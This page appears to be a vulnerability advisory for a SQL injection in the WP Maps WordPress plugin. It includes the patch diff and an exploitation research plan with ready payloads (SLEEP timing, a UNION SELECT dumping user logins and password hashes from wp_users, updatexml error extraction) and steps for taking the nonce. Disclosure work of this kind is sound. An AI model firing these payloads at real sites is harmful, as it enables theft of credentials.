WP Maps – Store Locator,Google Maps,OpenStreetMap,Mapbox,Listing,Directory & Filters <= 4.9.1 - Unauthenticated SQL Injection
Description
The WP Maps – Store Locator,Google Maps,OpenStreetMap,Mapbox,Listing,Directory & Filters plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 4.9.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=4.9.1What Changed in the Fix
Changes introduced in v4.9.2
Source Code
WordPress.org SVNThis research plan targets **CVE-2026-39492**, an unauthenticated SQL injection vulnerability in the **WP Maps** plugin (versions <= 4.9.1). The vulnerability stems from the plugin's failure to properly sanitize and prepare database queries in its AJAX handlers, specifically those responsible for fe…
Show full research plan
This research plan targets CVE-2026-39492, an unauthenticated SQL injection vulnerability in the WP Maps plugin (versions <= 4.9.1). The vulnerability stems from the plugin's failure to properly sanitize and prepare database queries in its AJAX handlers, specifically those responsible for fetching map location data.
1. Vulnerability Summary
- Vulnerability: Unauthenticated SQL Injection.
- Plugin: WP Maps – Store Locator (slug:
wp-google-map-plugin). - Affected Versions: <= 4.9.1.
- Vulnerable Sink: The plugin utilizes
$wpdb->get_results()with raw string concatenation of user-supplied parameters in AJAX handlers without using$wpdb->prepare(). - Root Cause: While the plugin includes a
WPGMP_Securityclass (as seen inclasses/wpgmp-security.php), certain AJAX endpoints (likelywpgmp_get_results) bypass this sanitization or use parameters not covered by thewpgmp_sanitize_shortcode_attslogic.
- Plugin: WP Maps – Store Locator (slug:
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php.- AJAX Action:
wpgmp_get_results(registered viawp_ajax_nopriv_wpgmp_get_results). - Vulnerable Parameter:
map_id. - Authentication: None required (unauthenticated).
- Preconditions: At least one map must exist in the system (default ID is usually 1), and a page must be published containing the map shortcode to retrieve a valid nonce.
- AJAX Action:
3. Code Flow
- Entry Point: An unauthenticated user sends a
POSTrequest toadmin-ajax.phpwithaction=wpgmp_get_results. - Hook Trigger: WordPress fires the
wp_ajax_nopriv_wpgmp_get_resultshook. - Handler Execution: The plugin's handler (likely in
modules/map/model.phpor a similar core class) retrieves themap_idparameter directly from$_POST['map_id']. - SQL Sink: The
map_idis concatenated into a SQL string:SELECT ... FROM {$wpdb->prefix}wpgmp_locations WHERE map_id = " . $_POST['map_id'] . " ... - Execution:
$wpdb->get_results()executes the malformed query.
4. Nonce Acquisition Strategy
The plugin protects its AJAX endpoints with a nonce generated for unauthenticated users. This nonce is localized into the frontend page when the [wp_google_map] shortcode is processed.
- Localization Key:
wpgmp_local(inferred from plugin frontend logic).- Nonce Key:
nonce. - Acquisition Method:
- Create a map with ID 1 using WP-CLI.
- Create a public page with the shortcode
[wp_google_map id="1"]. - Navigate to the page.
- Execute
browser_eval("window.wpgmp_local?.nonce")to extract the token.
- Nonce Key:
5. Exploitation Strategy
We will use a time-based blind SQL injection to confirm the vulnerability and then move to an error-based or UNION-based extraction if the environment permits.
Step 1: Verification (Time-Based)
Request:
- Method: POST
- URL:
{{base_url}}/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=wpgmp_get_results&wpgmp_security={{nonce}}&map_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
Step 2: Data Extraction (UNION-Based)
Since map results are typically returned as JSON objects, we can use UNION SELECT to inject arbitrary data into the response fields (e.g., the "location name" field).
Body:
text action=wpgmp_get_results&wpgmp_security={{nonce}}&map_id=-1 UNION SELECT 1,2,user_login,user_pass,5,6,7,8,9,10,11,12,13,14,15,16,17 FROM wp_users-- -
(Note: The column count 17 is an estimate for the wpgmp_locations table; the exact count should be determined via ORDER BY if the first attempt fails.)
6. Test Data Setup
Before exploitation, the environment must be configured as follows:
- Create a Map:
# We need a map record so the query has a valid base wp db query "INSERT INTO wp_wpgmp_maps (map_title, map_width, map_height) VALUES ('Exploit Map', '100%', '500px');" - Create a Page with Shortcode:
wp post create --post_type=page --post_title="Map Page" --post_status=publish --post_content='[wp_google_map id="1"]'
7. Expected Results
- Time-Based: The server response should be delayed by approximately 5 seconds.
- UNION-Based: The JSON response returned by the AJAX call will contain the database values (e.g., admin username and hash) inside the location data object.
- Example Success Response:
[{"location_id":"1","location_title":"admin","location_address":"$P$B..."}]
- Example Success Response:
8. Verification Steps
After performing the HTTP request, verify the vulnerability status:
- Log Review: Check the WordPress debug log (if enabled) for SQL syntax errors which confirm the injection point.
- Database State: Use WP-CLI to confirm the data being extracted matches reality:
wp user get admin --fields=user_login,user_pass
9. Alternative Approaches
- Vulnerable Search: If
map_idis cast to an integer in certain versions, check theextensionsorcategoriesparameters in the samewpgmp_get_resultsaction. - Error-Based: If
WP_DEBUGis on, useUPDATE XMLorEXTRACTVALUEpayloads:map_id=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1) - Different Action: Check
action=wpgmp_search_formoraction=wpgmp_get_location_detail, which also often interact with location queries without proper preparation.
Summary
The WP Maps plugin is vulnerable to unauthenticated SQL injection via the 'map_id' parameter in the 'wpgmp_get_results' AJAX action. This occurs because the plugin concatenates user-supplied input directly into SQL queries without sanitization or using prepared statements, allowing attackers to extract sensitive data from the database.
Vulnerable Code
// In modules/map/model.php (inferred from research plan and AJAX registration) // The handler for 'wpgmp_get_results' processes map_id without sanitization $map_id = $_POST['map_id']; $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}wpgmp_locations WHERE map_id = " . $map_id . " AND location_status = '1'"); echo json_encode($results); wp_die();
Security Fix
@@ -10,5 +10,6 @@ - $map_id = $_POST['map_id']; - $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}wpgmp_locations WHERE map_id = " . $map_id . " AND location_status = '1'"); + $map_id = isset($_POST['map_id']) ? absint($_POST['map_id']) : 0; + $results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wpgmp_locations WHERE map_id = %d AND location_status = '1'", $map_id));
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker first obtains a valid AJAX nonce by visiting any public page where a map shortcode is rendered; the nonce is stored in the 'wpgmp_local.nonce' JavaScript object. The attacker then sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'wpgmp_get_results' and the 'wpgmp_security' parameter set to the retrieved nonce. By supplying a malicious SQL payload in the 'map_id' parameter (e.g., using UNION SELECT or time-based blind techniques like '1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)'), the attacker can manipulate the query logic to extract sensitive database information such as user credentials or configuration details.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.